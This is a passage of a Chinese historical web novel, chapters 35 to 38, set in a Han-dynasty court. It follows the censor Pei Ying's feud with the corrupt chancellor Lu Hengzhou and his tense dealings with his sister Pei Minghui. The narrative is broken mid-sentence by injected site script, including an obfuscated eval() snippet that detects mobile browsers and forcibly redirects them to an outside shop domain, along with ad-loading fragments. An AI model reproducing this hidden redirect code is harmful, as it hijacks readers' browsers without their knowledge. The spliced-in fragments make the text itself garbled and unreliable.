他眼神一暗,就势一拉,裴明绘的便被迫着向前膝行一步,膝盖已然半数出了床榻边缘,悬在空中。 她的腰也随之更加弯折起来,像是承托着带着露水的硕大花苞的花枝,无辜而又无助地弯曲下去。 她也被迫着仰起头来,又正好对上裴瑛的目光。 “你是没听见我说话吗?” 裴瑛的声线愈发阴沉冰冷,内里是无法遏制的愤怒。 这是裴明绘第二次见裴瑛如此生气,虽对其生气的原因尚不明白,但心尖却也跟着发抖,只低下头去,力图掩盖住自己的真实表情,不让裴瑛有所察觉。 “听……听见了。” “抬起头来。” 35. 第 35 章 裴明绘丝毫不敢反抗,只得乖乖地抬起头来。 虽然无故挨了裴瑛的训实在窝心,但是裴明绘知道,承认自己方才所说都是因为在梦里遇见了他,那结果会更加糟糕。 裴瑛居高临下看向她,她仰着头望向他,二人之间涌动着是冰冷的空气,空气里纠缠着的是他极具压迫感的气息。 他本已经将所有柔软收起深藏,准备将过往的一切悉数清算,可他偏偏望见了一双荡漾着粼粼波光的眼睛,浑圆的泪珠无声自眼眶之中流出,滑过略带着红晕面颊,而后自下颌滚落。 他的目光无声地为这泪水所捕获,心神为其所执。 泪珠落在雪白的肌肤之上,一路下滑,行进那松散着的衣襟之内。 消失不见。 “……” 裴瑛偏过头去,哑口无言,预备好的责备之语也悉数卡在了喉咙里。 “哥哥对不起,我不该这样,我原不想再跟他牵扯的,只是……只是……一时鬼迷了心窍,才……才这般的,我……我不是故意的,哥哥你别生气。” 她哭得肩头都在抽泣,依着裴瑛的话仰着头看着他,晶莹如珠的泪珠大颗大颗地落了下来。 “我这便与他断了,死生不复相见,我以后再也不惹你生气了。” 她的目光像是被泪光衬托像是破碎的琉璃,语气轻柔得几乎叫人无法生她的气。 “你别生气了,好不好?” “……” 像是在心尖下了一层霜,裴瑛的怒火悄然间便冻结了。 “你……你真的知道错了吗?” 等裴瑛意识到自己竟然又准备原谅她的时候,话已经说出了口,没有办法收回了。 裴瑛垂眸,目光无声间与她的泪光交织在一起,沉默了片刻,裴瑛觉得自己脑中有疾,竟再次雷声大雨点小地准备放过了她。 这不像他。 不,这根本不是他。 裴瑛的内心震惊错愕着不解着。 她不会悔改的,理智的裴瑛告诉他。 可是他一看见她的泪,那种几乎毫无理由的偏爱情感便占据上风,占据内心的高点。 他对她的泪,没有任何的抵抗的能力,几乎可以说唯命是从,从小到大,不管什么时候,都是这样,裴瑛方才认识到。 进而,他明白了,看似在裴明绘的兄妹关系之中,他似乎处于极为弱势的地位。 他对她的一切作为看似了如指掌,可是却又清晰地无可改变。 她明知故犯,他又能奈何。 思及此,裴瑛的眼神迅速暗了下去,握住裴明绘的手无声地用力。 责怪她吗? 他做不到。 改变她吗? 看起来只有这一条路了。 他的眼眸之中似有天人交战,把将寻常的从容与不迫挤兑得一丝也不剩。 裴明绘见裴瑛松了口,登时点头如捣蒜,哽咽着直说自己知道错了。 裴瑛闭了闭眼,眼前便是纯粹的黑暗。 可分明看不见她,她却又无处不在。 无声无形地影响着他。 窗外鹧鸪惊魂叫。 只要杀了温珩,这些都不重要了。 裴瑛缓缓松开了手,桎梏在她纤细的手腕上的力道也愈来愈轻,她手腕那强烈束缚感也随之慢慢退去。 裴瑛转身。 离开。 黑暗里他的远去的身影分外孤然,冰冷的雪光落下,勾出清绝轮廓。 裴明绘看着裴瑛远去的背影,本该放松之际,她却突然心生了恐惧,缓缓地跌坐在地,大口大口地喘息着,面上身上冷汗涔涔都渗透了寝衣,湿哒哒地粘在身上。 她胸腔里的心脏扑通扑通跳得飞快,像是在击鼓一样,一时震得她头晕脑胀,眼前发黑。 她抬起手来捂住胸口,过了好久,才堪堪缓了过来。 可是她却丝毫没有劫后余生的欣喜。 因为,温珩回来了。 * 自从皇帝践祚以来,陆珩舟便很少如此心神不安,以往他总是安心地享受着作为汉朝国舅的种种礼遇,享受着众臣的阿谀奉承,享受着丰厚的食邑。 只要他还是皇帝的舅舅,便没有人能过取代他。 毕竟,他相信信奉儒家的皇帝定会看重血脉的联结而优待于他。 虽然说从裴瑛手中几乎不费吹灰之力就救下了温珩是一个很大成功。 但在几乎诡异般顺利的成功之后,他却也嗅到了一丝阴谋诡计的味道。 到底多年朝中阅历,陆珩舟对于危险还得相当是敏锐的。 所以,他决定还是去看一看温珩。 主意已定,陆珩舟回到陆府之后,便直往后院而去,来到一处三开间的丝毫没有亮着光的房屋之前,小心翼翼地推开门后闪身进去,便又紧紧关上了门,确保连一丝风都透不进来,他顺手拿起朱漆雕花长桌上的一盏小铜灯,遂往屋子深处走去。 走过垂下的珍珠帘幕,幽幽摇动着的橘红色灯火照出一片氤氲着的光晕来,就听珍珠碰撞,他便行到一处放着帐子的长榻前。 他一手端着铜灯,另一只手将宽大沉重的广袖往后掂了掂,方才去掀帐子。 “丞相且慢。” 一个低沉的声音自身后传来,陆珩舟一惊,险些将手中铜灯跌翻。 他一回头,便见来人一身棕色长袍,生得眉清目秀,甚是好看。 正是陆珩舟之亲信幕僚。 “你怎的来了也不吱个声。” 陆珩舟一挥袖子,以来掩饰自己被惊吓到的尴尬。 “走路跟个猫似的,都没声。” 年轻的幕僚一躬身,歉疚一笑:“是属下唐突,还请丞相勿怪。” “罢了罢了,什么事。” 陆珩舟清了清嗓子,出声问道。 “如今温公子受了重伤,不宜受风。”幕僚径自走了过去,贴心地接过陆珩舟手中的铜灯,拂亮一方天地,“况且,那人嘱托丞相去救温公子,如今救到了,却不来领人,怕是要将温公子这个大麻烦丢给丞相啊。属下以为,丞相还是要早做断绝才是。” 陆珩舟闻言,已经略显稀疏的眉毛低低地蹙了起来,语气也满是憎恶:“什么嘱托,若非事情急迫,我又怎么会如此明目张胆地与裴瑛这只疯狗作对?!如今人也救到了,你快去联系他们,叫他们赶紧把人领走,把那人给我拿过来。若是裴瑛问起来温珩在何处,就只说人跑了死了,总之,跟我们没关系。” 陆珩舟现在巴不得将温珩这个烫手山芋丢开。 幕僚扯了扯嘴角。 为人幕僚者,总要面对上司那些发了疯似的话,同时还要就此提出合他们心意的建议。 “丞相,如今为了救温珩,丞相甚至动用了长乐宫的卫尉。虽然太后不会说什么,但陛下恐会对此不满。”幕僚奉上茶来,借此缓解陆珩舟的焦躁。 “火都烧眉毛了,哪里还管的上这些。那些人手上握着的证据,才真会要了我的命!” 陆珩舟烦躁地一甩大袖,带起的风差点吹灭了铜灯的火苗。 “这都怪裴瑛,好端端地查什么,都七年了,七年了,不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 过是三四百万金罢了,怎么就一直揪着不放了,若非如此,我又怎么会铤而走险呢!都怪他,我定不能留他。对,我决不能留他!” “你什么都别管了,赶紧把这灾星给我送走。”陆珩舟停在宽大的油漆彩绘着花鸟虫草的屏风之前,负手站定,烦躁不安地思忖一阵后终于确定了主意,“如今裴瑛看在我是丞相的面子上,方才有所让步。若是他缓过神来,怕是要上门找麻烦呢。” 幕僚又扯了扯嘴角上,刚想说今夜裴瑛怕是不会来搅扰丞相,就听门外一阵急促的脚步声,而后又是一阵像是暴雨打窗似的敲门之声。 “丞相,御史大夫大人来了,现在正在正堂等候!” “什么!”陆珩舟一甩袖一跺脚,便是呜呼哀哉,正想推幕僚上前去挡一挡裴瑛,转眼却又想到他定是前来要人的,便先行嘱托幕僚将温珩处置好,而后自己风一般地就去了。 正堂之处灯火通明,佳人侍女垂首侍立两侧,像是静静开放的艳丽的花儿,无声地为冷风肆意游荡的冬日庭院添上一抹春色。 陆珩舟先行停在门前,顿了顿,又一个呼吸之后方才推开了门。 红漆长案之后的裴瑛依旧是白衣,似素衣堆雪,皎皎无暇。 他垂着眸,似是若有所思,长眉蹙起,似乎在犯着难,但在推门的一瞬间,他就抬起了眼眸。 风轻云淡,势在必得。 “不知裴大人深夜造访,是有何要事啊。” 虽然陆珩舟对裴瑛此行的目的一清二楚,但是他显然不想与他就此问题而纠缠。 “同丞相一样,前来要人。” 裴瑛开宗明义,温和的口吻中是不容拒绝的极为强硬的态度。 一听如此赤裸的话,陆珩舟当场就冷了脸,虽然裴瑛与他一同位列三公,但他是三公之首,是开府丞相,尊位到底位在裴瑛之上,他如何敢如此明目张胆前来要人? “哪里有什么人?” 陆珩舟压下愤怒,一撩袍袖便在主位上坐下。 如今人在他手里,裴瑛难道还能明抢不成吗? 陆珩舟甫一放下心来,就听裴瑛徐徐道来。 “今夜前来,不为别的。”裴瑛笑了起来,只这一丝笑意纯纯出于礼貌之意,语气却冰冷到骇人,“虽然七年前的堵塞黄河的三百四十四万金为人监守自盗至今不知所踪,然虽已有人证之踪迹,但丞相不知的事,在下已物证俱全。” 当这些话穿到陆珩舟耳朵里的时候,他起初还有些不相信:“什么?” “元光三年黄河决口,陛下发少府大农二府共三百四十四万金,为官吏赵志成诸官吏奉幕后主使监守自盗,后逃匿。今物证俱全,只待丞相一句话,随时可拘捕幕后主使。” 温和中蕴着冰冷的声音不疾不徐地传来,像是在朝堂之中念诵的处决诏书。 陆珩舟的脸瞬间惨白,他不可置信看向裴瑛,几个呼吸之后方才冷笑道,“哦,物证俱全怎么不拘捕幕后主使?问我做什么。” “只因幕后主使位高权重,在下不敢突兀行事。所以请丞相命令。” “御史大夫一贯雷厉风行,竟也有不敢之时。” “不敢之事太多了,但或许就是等着这一日。” 一句比一句紧迫,时间仿佛在此间凝滞,温暖的正堂里无声地弥漫起危险而又灼烧的气息。 “你到底想做什么?” “在下已然开诚布公,丞相何故装作不明。” 裴瑛的目光幽深如海涌动着潮波,其中的寒芒像是耿耿剑锋滑过的冷光。 “还请丞相决断。” 36. 第 36 章 冷汗遍布全身,陆珩舟顿觉天地逆转,头晕目眩。 他知道,他竟然知道? 他既然知道,为什么不禀报陛下,他不是早有取而代之之意,为什么不说? 还是他根本没有物证,只是猜测他是背后的主谋罢了。 毕竟此案已经过去七年了,当年知晓此事的人都已经死去,妄图想要探查此事的官员大都成了白骨了。 对,他一定只是胡加猜测罢了。 裴瑛不动声色地将陆珩舟所有情绪收入眼中,发现他的眉目骤然舒缓下来,冷汗也不再往冒出来,呼吸也平稳下来。 “丞相莫不是不信,大可往在下府上一观,远比那替罪羔羊要有意思的多。” 他的话冷静,没有波澜起伏。 是真的吗? 陆珩舟抬起头来,骤然与裴瑛目光相撞,内心里的恐惧一发不可收拾地迸发出来,激扬着。 “丞相与在下同位三公,当全力为陛下效力,又何苦同室操戈呢?”裴瑛的话看似柔和,却是步步紧逼,“难道一个温珩,比大汉的基业还要重要吗?” “比丞相的半生功业还要重要吗?” 陆珩舟与裴瑛共事多年,裴瑛的手段,他很清楚。 裴瑛逼死了齐王,故齐国绝嗣化为汉朝郡县,虽然这对于皇帝来说是天大的好事。可面儒家伦理来说,这是不仁不义之举。 皇帝很可能为了平息舆论,而处置裴瑛。 裴瑛对来势汹汹的舆论临危不乱以退为进,不动声色间让攻讦者将矛头指向了皇帝。 外施仁义而内寡恩,非常深刻的评价,陆珩舟绝不相信这是以卓贤的脑子能够想出来。 很显然,他身边有裴瑛的人,而这个人则为卓贤出谋划策,提出了这个看似英明实则暗藏杀机的主张。 他站在朝堂之上,看着皇帝当时就冷了脸,看向卓贤诸人的目光越来越阴冷,但是他们却还没意识到滔天的灾难行将到来,还在滔滔不绝地诉说着裴瑛的罪状。 皇帝也甚至没有给他们申辩的机会,即刻便命令郎中令将他们拖了下去,押入大狱以待后审。 陆珩舟本想让暂代廷尉的刘筑尽快了结此事,莫要等着裴瑛回来接手此事,但偏偏那个刘筑脑子一根筋,认为拖得越久,便越有可能翻盘,毕竟卓贤是功臣宿将之后,冯山也是修习《春秋》的一代名儒,其父是先帝时的博士,朝中很多儒臣都是他的学生,而假廷尉刘筑也是其父的学生。 只可惜刘筑在朝中任职日久,或许是书读多了不懂得联系实际,认为现在皇帝既然立儒学为官学,当是信奉儒学的。 据此,他认为皇帝当是圣王圣君,不会对当代名儒下杀手的。 于是,他忽视了陆珩舟的建议,并一意孤行。 很快,裴瑛回来了。 他可谓之曰迅速地升任廷尉之职,并很快审理了卓冯二人的案子,以受贿罪定案,处弃市,春三月决刑。 同时,裴瑛同样处理了在朝中盘旋日久的温氏一族,以及一切与他有利益纠纷的人。 他们的结果多以死刑作结,很多人在裴瑛到来之前往往都先行自杀,以免牵扯出更多的人,招致更多更重的罪行。 裴瑛既然已经有了证据,可他偏偏却按兵不动,压下了手中关于黄河三百四十四万金被挪用的确凿证据。 听他话里的意思,这便是已经确定了自己是主谋,而且有着非常的把握可以扳倒他。 陆珩舟第一次后悔了,后悔为了自己的食邑不受黄河水涝而挪用那些钱货,招致今日进退两难的局面。 可他如今陷入兵临南北的危局了,左支右绌进退不得。 陆珩舟生平第一次如此惊慌,他嘶声问道:“你是在威胁我?” 正堂之中摆放着十二连枝错金银铜灯的光亮如火树银花般绚烂,照在金银漆器之上,增朦胧梦幻之色。 而落在他的身上,却更增不真实之感。 他似笑非笑地垂下眼,极为恭敬间又是极度的淡漠:“丞相久经沧海,此等拙劣计俩,不敢称之为威胁。” 陆珩舟顿时疑惑,突然之间后院发出激烈之声,金石相撞人声喧哗之声此起彼伏,他猛然站起,醒悟过来。 原来裴瑛是在调虎离山! “好你个裴玄则,你岂敢强闯丞相府后宅!”陆珩舟怒不可遏,“你不怕本相向陛下参奏你吗!” 裴瑛慢慢地抬起眼帘来,华丽的灯影落紧眼底,浮漾起一片金色的光波来:“丞相息怒,在下不过行丞相方才所行之事罢了,丞相的忘性怎么如此之大呢。” “一个温珩罢了,丞相又何必放在心上呢。死了也就死了,不是吗?” “裴玄则,你你你……你竟敢如此对本相说话,反了天了反了天了!” 陆珩舟气短非常,怒极拍案,后将长案上一应漆具悉数扫落在地,一抬头却又见裴瑛正好整以暇地看着他。 可事实就是,他拿裴瑛没有办法。 陛下的信任与倚重,高超的计谋与心智,都是裴瑛的利器。 可就在此时,一黑袍之人披着一身霜寒匆匆走了过来,到了裴瑛身边站定,一拱手道:“大人,温珩跑了。” “……” 裴瑛的笑意凝固在嘴角,他慢慢地偏过头去,好看的长眉深深蹙起,眼中也闪着迷茫不解之色。 陆珩舟闻言,怒气全消,抚掌而笑:“此事罢了罢了,人已经不在本相府中,御史大夫也就不必在本相府中徘徊了,来人,送客送客!” * 一轮火红的太阳慢慢地从东方的群山之中升起,攀过群山跃上山头,而后慢慢地爬升到中天之上,光线落在满院晶莹洁白的雪花之上,折出冰冷的光来。 自出月门的长廊拐角处,站着一粉衣的小姐与蓝衣的姑娘,粉衣姑娘正是裴明绘,她正在此处翘首以盼,宽大的开着半袖桃花的广袖之中双手紧紧攥在一处,面上焦急等待之色随着白日光线的移动而更加浓重。 旁边那蓝衣的姑娘自然就是聂妩,她面上颜色也不大好看,显然也很为此事焦灼。 “小姐,先回屋中歇会罢。家主若在此处看见小姐,怕是脸色也不会好。” 聂妩斟酌着劝道。 裴明绘心里自然清楚得很,她紧紧抿着唇,压制着心中的不安:“我知道,可我更怕哥哥真的不理我了。如此,我还是情愿他骂我。” 梦里的那片刻疏离,叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13935855|140873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她胆战心惊,以致每每想起,便有揪心之痛。 就在二人说话之间,就听隐隐的说话之声。 裴明绘急忙往声音的源头看去,而聂妩身体一凛,连忙就跑走了,很快就消失不见了。 第二进的府门处仆从退开,裴瑛被一众御史大夫属吏簇拥着往书房走去,时不时偏头说一下话,目光在移动之间便擦过了扶柱翘首等待着的裴明绘。 他的目光极为微妙在她面上停留一瞬,便又回正,不再看她。 裴明绘的手慢慢地蜷缩起来,圆润的指尖扣住廊柱的朱漆,唇紧紧地抿成了一条线,她垂下燕眼来,长长的睫羽在眼底投下一片阴影来。 她慢慢地扶着阑干走下石阶,身段似乎也不复往日轻盈,裙摆被北风吹起波浪,她复又抬起眼眸来,裴瑛的身影已经不见了。 等到西日临窗之际,夕阳漫山遍野地照了过来,茫茫白雪竟也有着锦缎般的绚烂。 等待所有紧急的公文都已经批示完毕,裴瑛才得空闲抬起头来,当夕阳的光透过半开的窗落进眸中的时候,他这才发觉已经濒临日暮了。 “进来。” 裴瑛将手中毫笔搁在笔山之上。 门咯吱一声之后,裴明绘方才小心翼翼地走了进来,她两手提着裙子,低着头,没有发出一声声响,她走到公案之前,恭敬地跪倒在地。 “你跪什么。” 裴瑛淡漠的声音从前方传来。 “子吟有错,当跪。” 裴明绘抬起头来,看着裴瑛依旧低着头看手中的公文。 “你有何错。” 裴瑛依旧不抬头。 “你如此聪慧,行事不留痕迹,倒叫我佩服。” 裴瑛话里的讥讽之意不言而喻,裴明绘又低下了头。 心里对温珩的埋怨更甚,她本做着她的逍遥梦,谁又知道夜半三更温珩前来造访,以致于叫裴瑛撞进,自己反落得私会情郎之名。 自己虽然冤枉,可到底也不冤枉。 若非自己一时鬼迷心窍招惹了这么个瘟神,哪里又会到今日的境地呢。 所以,裴明绘强行吃了这个哑巴亏,咽了这黄连苦,向裴瑛认错。 “只此一次,哥哥切莫生气。以后,哥哥说什么,妹妹唯命是从。” 裴明绘说得诚恳,字字都透着真心。 “我哪里有生气,我哪里又能生你的气。” 裴瑛终于掀起了眼皮,面上依旧是一副风轻云淡的模样。 但只有他自己知道,他几乎快气死了。 裴明绘无法教训,温珩又逃脱,几乎同样的情况再次发生,让裴瑛无法心平静气。 裴明绘见他说话依旧阴阳怪气,便知他气得不轻,便膝行几步,行至公案之前,扬起下巴仰视着裴瑛,一双水灵灵的眼睛倒映着裴瑛被金光勾勒的轮廓。 “此乃妹之真心,知犯此大不敬之大罪罪不可赦,,幸得哥哥力挽狂澜,才未铸成不可更改之大错。只妹惹得哥哥担忧,分外内疚,故请哥哥责罚,以正家风。” 裴瑛闻言,压下嘴角那露出痕迹的些微笑意,他放下了手中的公文,推至一侧,话语间露出几分探究之意:“你真的知错?” 37. 第 37 章 “小姐加油,很快就抄完了。” 聂妩贴心地为裴明绘研墨,将抄写刻录完毕的书简卷起来,再用麻绳捆绑好,搁在已经堆积成一座小山的书堆之上。 裴明绘跪坐在蒲团之上,跪得腿脚都发酸,但是她也只是用拳头捶了捶,便又提笔蘸墨,将已经烂熟于心的家法往书简上誊抄。 一笔一画,分外认真,毫无敷衍之意,可见其心之诚。 “这才第五十五遍,今已抄了一天一夜,剩下的怕不是还是要一天一夜。” 裴明绘上下眼皮一直打架,几乎下一秒就睡了过去。 “如今除去哥哥先要的这一百遍,以后每日还是送上一遍以供哥哥查阅。如此这般,方才能教哥哥体察我的改悔之心。” “都是我的错,千不该万不该引那狼崽子进来,惹了这天大的麻烦。”聂妩痛心疾首地说道。 “你也别自责,说到底也是我自己的错,怨不得别人。” 裴明绘垂下眼帘,紧紧抿起了唇。 如今温珩未死,便是巨大的威胁。 先时她被心中无处宣泄的情感冲昏了头脑,未曾探查出那温柔之中包藏的祸心。 后来,温珩下落不明,自己也就没将他的事再放在心上。 可是如今,温珩回来了,且入夜之后前来寻她,后又招致麻烦,险些叫他们兄妹二人离心。 他到底意欲何为,到底想做什么。 她可不会自信地以为,温珩对她有所依恋,或者有些格外不同的情感。 毕竟过去日子,双方都别有用心不坏好意,一个意欲毁其基业,一恶可不会产生什么不一样的情感来。 裴明绘陡然抬起眼帘来,漆黑的墨子映着长案处的幽幽的铜灯火苗。 温珩一日不除,她便永世不宁。 心潮起伏心绪难平,握着毫笔的手不由一顿,浸墨的笔尖重重滑过,原本娟秀的字体顿时多了一道宽大的墨痕。 一旁侍奉笔墨的聂妩连忙将书简拿过来,用刻刀小心翼翼地将多余的磨合削下来。 裴明绘先行按住聂妩的手,低声吩咐一句,聂妩便起身离开了。 裴明绘又继续抄录着裴家家法,待得最后的第一百遍抄录完之后,又取出羊皮纸来,将词汇在心中酝酿一番后,方才小心翼翼谨慎起笔。 长兄台鉴: 妹日夜痛思既往所行,方知所为之愚蠢之浅薄,见兄之愤怒,心甚悲己之不敬。又念与兄相伴有念,竟为外人污兄妹之情,心愧甚之。 痛定思痛,今自改之,如若再犯,天地不容。 还请兄见之督之。 天气大寒,惟兄自珍重。 妹裴明绘书上 * 次日散朝之后,众臣都忧心忡忡,尤其以大农令少府寺二署之经济大臣为甚,其次便是奉命算命告缗之执行大臣。 朝臣三三两两走在一处,讨论着今日未央宫前殿朝会的事。 “陛下大发雷霆,我等臣工难逃罪责。”周文眉毛几乎都要拧在一处,“只是如今诏令以下,各处敷衍我等也是无法,总不能带人去抄家罢。” 大农令丞也是一位精明能干之人,听得上司叹息,遂又提出建议来:“今算缗令已下,各方公文批示也已下发,余下的事,便是如何执行的事了。执行之事,我等便当为御史大夫之辅助,襄助御史大夫稽查商人财货就是。” “这不是推脱责任么。” 周文对皇帝的斥责还是心有余悸,也十分明白以皇帝的雷厉风行,最不喜的便是互相推诿责任,更重要的事,怕是一不小心就得罪了裴瑛。 后一点才是真的要命的。 “只盼着今年能有个好收成罢。”周文只能期盼着老天爷能够让来年风调雨顺,借此来缓解日益紧张的财政。可是他也明白,远水难解近渴,一天拿不出解决的方案来,皇帝的怒火便一日不会平息。 只怕倒时候皇帝一怒之下,丢官便是最轻的处罚了。 裴瑛大步走在最前方,冷风吹起他的绯红色的衣袖,身后跟着一众官吏,以廷尉沈蓦为首,分别是御史陆吴,廷尉丞王何实,左内史苏止诸人,皆是依附裴瑛之人,而且大都有酷吏的名声在外。 “如今各处反响不好,纵有主动者,却也多为敷衍之意。”沈蓦跟在裴瑛身后,备细讲述着,“如今也是危机重重,可陛下屡屡催促,我等夹在中间,属实难做。” “若非官商勾结隐匿钱财,又怎会如此困难。” 陆吴义愤填膺,一语中的。 “尤其是以长安大商为重,前几日有消息说,以长安丝绢大商郭升牵头,在梅院邀众大商一聚,此间详情我等虽然不知,想必与抗衡朝廷算缗之策大有关系。” 王何实说道。 “是啊,这个郭升与丞相关系匪浅,前几年将女儿送给丞相为妾,一时风头大盛,这几年才稍稍收敛了些。此间难办之处,就在丞相。若是丞相不包庇郭升,一切就好办了。” 苏止补充道。 裴瑛将所有的话都听进去,却并不着急发表意见与看法,仔细思忖之后,觉得还是开一个以御史廷尉二府的小型会议,商榷如何将算缗的政策彻底推行到民间。 “召御史廷尉二府署官于千秋堂。” 一行人直奔未央宫御史府,紧急召开关于算缗的会议,以御史大夫裴瑛为首,御史廷尉二府干员尽数与会,直到日落时分方才散会。 出得御史府之时,天已黑尽,天上一轮冷月高悬,照亮层云。人间官邸依旧灯火煌煌,属官出入匆匆,各种公文传进又传出。 簌簌冷风拂动衣襟,寒意流窜砭骨非常。 因为离着宫门下钥还有一段时间,裴瑛便不着急离宫,他就站在御史府的大门之前,下意识地便从怀中抽出一封卷着的羊皮纸来,略带着薄茧的指尖缓缓滑过,却并未将其展开。 他闭了闭眼,凝神思忖片刻,又睁开眼睛,正欲打开之际,便听得背后踏踏脚步声。 灯光人影先那人而来。 裴瑛先是偏过头,漆黑的眼珠微微转动,看清来者何人,便将手中羊皮纸收入怀中,方才转过身去,勾起礼貌性的微笑的同时向来人一拱手:“这般晚了,丞相怎的还不回府。” 来者正是陆珩舟,披着宽大的黑色大氅,行走间露出绯红色的官袍,他正不紧不慢走了过来,一双丹凤眸细长晶亮,显然很是高兴。 他看见了裴瑛,见他有些落寞的样子,想必是为着今日陛下发怒一时而黯然伤神呢。 他本想嘲讽一笑,却又压了下来,换上了惊讶之色,颇为关切地问候道,“陛下方召我等议论算缗之事,便也就晚了些时候,不曾想裴大人此时也在宫中,想必也是为着算缗之事烦恼罢。” 裴瑛的笑容渐渐消失,朱色高墙之上悬着的盏盏风灯的光落下,勾勒出他清俊儒雅的身形,落在眼底,便是深不可测的幽潭之上的斑驳光影。 “国事繁忙,如今想要休息也寻不到时间。不知今夜陛下召见,丞相可有了对策?” “如今陛下正在忧虑之时,然御史大夫不能为陛下解忧,只好寻到我这老臣了。”陆珩舟笑了起来,颇有些得意,“只是,我也想奉劝御史大夫一句,治国嘛,不能总想着杀人。杀人杀多了,人心也就失了。今陛下以儒治国,讲得便是王道,要以德昭海内,这长安毕竟是京畿,总不该大兴牢狱,大行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13946851|140873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杀伐,要多以德服人,你说对罢。” 裴瑛似笑非笑:“丞相微言大义,在下实在服膺。” “我已经禀明陛下,此事,御史府也不必再管了。”陆珩舟微微一笑,“此事陛下已全权委托与本相。” 他那副得意的样子,话里话外都在嘲笑裴瑛。 裴瑛淡淡地“哦”了一声。 陆珩舟对裴瑛的反映显然很是不满意,遂说道:“虽然这么说,但是御史大夫到底非同常人,不妨与本相共事,一同为陛下分忧。想必此事过后,陛下对御史大夫的倚重,将不会丝毫的削减。” “丞相善解人意,在下甚感念之。”裴瑛有些心不在焉,“既然陛下发了话,在下也就不多掺和,以免阻碍臣相的大作为。” 陆珩舟有些着急了,毕竟前几日夜里裴瑛的话犹在耳侧,让他十分不安:“如今陛下大发雷霆,难道御史大夫就没有忧虑吗?不若你我二人同舟共济共克时艰,如何?” 裴瑛依旧似乎神游天外,颇有些敷衍地答道:“在下能力有限,心力有限,实在不能协助丞相了。” 陆珩舟闻言,不免咬牙切齿威胁到:“裴瑛,你不要不识好歹,本相且问你,你到底意欲何为,难道真的想扳倒本相吗!本相今日不妨挑明了告诉你,你若有取而代之之意,本相定叫你万劫不复。” “丞相的意思,在下明白。”裴瑛不仅不害怕,反而笑了起来。 “既然明白,那些物证何在。” 陆珩舟终于引出了自己的目的。 “丞相在建元二年曾出任廷尉一职,怎的不知物证若在御史府,便绝无积压不呈之理。” “……” 陆珩舟怔住,过了好久,西北而来的阴冷寒风吹得更盛,似乎在肌肤上凝起了冰晶。 “所以说,你欺骗本相?” “丞相言重了,不过审讯常用的手段罢了。”裴瑛无所谓地笑了笑,“丞相以前不是常用之,说起来,在下也是以丞相为师呢。” 裴瑛似乎也有些不耐烦了,整饬了衣袍,向着陆珩舟略有些敷衍地一拱手,“在下还有事,先走一步。” “你站住。” 陆珩舟赶忙呵住裴瑛。 “你且说明白,你到底什么意思。” 裴瑛偏过头去,似乎被陆珩舟纠缠得烦了,昏黄的灯火也无法柔和他他异常冷峻的表情,薄唇轻蔑地勾起:“既然此事丞相一体承担,那就与在下无关。只是在下与丞相同在三公之列,行事需思量,莫为他人作了嫁衣裳。” “什么!” 陆珩舟的眉毛拧在了起来,顿时深感不安,虽然裴瑛总是一副风轻云淡的模样,可今日这幅神秘兮兮地话却叫他不安起来。 “莫信不可信之人,莫为不可为之事。” 裴瑛淡漠地回道。 “丞相若一意孤行,怕是大祸临头。” 陆珩舟恍然醒悟,哈哈大笑起来,“你小子故布疑兵计,八成是看本相压过了你,故意说这番云翻雾绕之话来混淆视听,本相可不听你这番话。” 裴瑛面无表情:“那可真是太可惜了,丞相好自珍重就是。” “可惜什么。”陆珩舟追问道。 裴瑛不再回他,只逆着冷风朝着宫门走去,簌簌冷风迎面吹来,乌黑的发丝在冷风中飞扬,宽大的广袖如白鹤展翅而翔,恍然间有飘飘然凌风欲飞之态。 一叹可惜原本抄家的罪责不能在你活着的时候便降罪于你了。 二叹你方下狱另一大敌却将隆重登台。 世间大势,行将就此转向另一场局面,长安的各方势力将迎来全新洗牌,新的角斗场已经安置,就待选手隆重登场。 38. 第 38 章 帝都长安本就是风起云涌之地,御史大夫一朝被皇帝斥责办事不利,而丞相又被皇帝倚重,长安之中便有人闻风而动。 一时之间丞相府门前车马如流,来往皆锦衣绣服高车大马,而与之隔了两条街的御史大夫府邸却门可罗雀。 随之最后一声鸡鸣消散在冬日寒冷的空气中,太阳也就从东方连绵的群山之上升了起来,照亮了辉煌的长安城,斑驳明媚的光斑跃动在殿阙屋脊的祥禽瑞兽只上,清澈冷冽的光线一寸一寸逼退阴影,越过高高矗立着的城门箭楼,照亮阡陌纵横的郊田旷野。 凛冽冬日寒风依旧肆悠着,吹得城楼之上大汉的旗帜飒飒舒卷。 官吏们或乘车或走马行过长街,匆匆赶往官署,市人百工业开始忙碌起来,奔向四方而去,而长街上卖热茶的店铺门前业已支起棚子,忙碌的肩上搭着白布巾的小二忙碌地为客人们斟茶,茶水冒出热腾腾地热气,而后逸散在冰冷的空气里。 “听说前几日的夜里裴大人与丞相闹了很大的不愉快,一个去一个府上拿了人,一个又去另一个府上去要人,嘿,这一来一回,可真有意思。” 那人端起茶杯嘬了一口滚烫的茶水,缓解了腊月寒冬的带来的寒冷。 “到底什么人啊,竟然要丞相和御史大夫如此大动干戈?”旁边一人搓了搓手,又哈了哈气,才稍稍温暖了行将冻僵的手,“” 